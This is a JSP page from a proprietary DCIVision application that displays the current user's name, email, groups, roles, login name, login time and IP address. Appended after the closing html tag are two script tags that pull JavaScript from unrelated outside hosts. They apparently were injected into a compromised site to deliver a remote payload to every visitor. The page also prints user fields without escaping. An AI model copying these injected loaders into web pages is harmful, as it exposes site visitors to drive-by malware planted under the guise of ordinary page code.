<%
/*
 * @(#)ShowUserInfo.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ShowUserInfo.jsp

  This page is for showing information about the current login user

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    20/08/2003
    @version          $Revision: 1.7.44.5 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<%
  List userGroups = sessionContainer.getPermissionManager().getUserGroups();
  List userRoles = sessionContainer.getPermissionManager().getUserRoles();
  int groupSize = userGroups==null? 0 : userGroups.size();
  int roleSize = userRoles==null? 0 : userRoles.size();
%>
<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/common.css" charset="UTF-8" type="text/css" rel="stylesheet">
<link media="screen" href="<%= request.getContextPath() %>/theme/pref<%=sessionContainer.getPreference()%>/css/common/PageNavBarStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
</head>
<body bgcolor="#EEEEEE" leftmargin="10" topmargin="10" marginwidth="10" marginheight="10">
<center>

<div class="sectionElement">
<h3><%=sessionContainer.getUserRecord().getFullName()%></h3>
<table border="0" width="80%" cellpadding="3" cellspacing="0" >
  <tr>
    <td nowrap class="formLabelSmall"><b><bean:message key="user.label.first_name"/></td>
    <td nowrap class="formFieldSmall"><%=sessionContainer.getUserRecord().getFirstName()%></td>
  </tr>
  <tr>
    <td nowrap class="formLabelSmall"><b><bean:message key="user.label.last_name"/></td>
    <td nowrap class="formFieldSmall"><%=sessionContainer.getUserRecord().getLastName()%></td>
  </tr>
  <tr>
    <td nowrap class="formLabelSmall"><b><bean:message key="user.label.email"/></td>
    <td nowrap class="formFieldSmall">
      <% if ( Utility.isEmpty(sessionContainer.getUserRecord().getEmail()) ) {
           out.println("-");
         } else {
           out.println("<a href=\"mailto:" + sessionContainer.getUserRecord().getEmail() + "\">" + sessionContainer.getUserRecord().getEmail() + "</a>");
         } %>
    </td>
  </tr>

  <tr>
    <td nowrap class="formLabelSmall"><b><bean:message key="user.label.groups"/></td>
    <% if ( groupSize==0 ) { %>
       <td nowrap class="formFieldSmall">-</td>
    <% } else { %>
       <td nowrap class="formFieldSmall"><html:img src='IconGroup.gif'  align='absmiddle'/><%=((UserGroup)userGroups.get(0)).getGroupName()%></td>
    <% } %>
  </tr>
  <% for (int i=1; i<groupSize; ++i) { %>
  <tr>
    <td nowrap>&nbsp;</td>
    <td nowrap class="formFieldSmall"><html:img src='IconGroup.gif'  align='absmiddle'/><%=((UserGroup)userGroups.get(i)).getGroupName()%></td>
  </tr>
  <% } %>

  <tr>
    <td nowrap class="formLabelSmall"><b><bean:message key="user.label.roles"/></td>
    <% if ( roleSize==0 ) { %>
       <td nowrap>-</td>
    <% } else { %>
       <td nowrap class="formFieldSmall"><html:img src='IconRole.gif'  align='absmiddle'/><%=((UserRole)userRoles.get(0)).getRoleName()%></td>
    <% } %>
  </tr>
  <% for (int i=1; i<roleSize; ++i) { %>
  <tr>
    <td nowrap>&nbsp;</td>
    <td nowrap class="formFieldSmall"><html:img src='IconRole.gif'  align='absmiddle'/><%=((UserRole)userRoles.get(i)).getRoleName()%></td>
  </tr>
  <% } %>

  <tr>
    <td nowrap class="formLabelSmall"><b><bean:message key="user.label.login_name"/></td>
    <td nowrap class="formFieldSmall"><%=sessionContainer.getUserRecord().getLoginName()%></td>
  </tr>
  <tr>
    <td nowrap class="formLabelSmall"><b><bean:message key="log.label.login_datetime"/></td>
    <td nowrap class="formFieldSmall"><bean:write name="sessionContainer" property="loginTime" format="<%=TextUtility.getDateTimeFormat().toPattern()%>"/></td>
  </tr>
  <tr>
    <td nowrap class="formLabelSmall"><b><bean:message key="log.label.ip_address"/></td>
    <td nowrap class="formFieldSmall"><bean:write name="sessionContainer" property="userIPAddress"/></td>
  </tr>
  </table>
   <div style="float:right">
   	<br>
   <html:standardButton label="common.label.close" onClick="return self.close();"/>
  </div>
</div>
</center>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>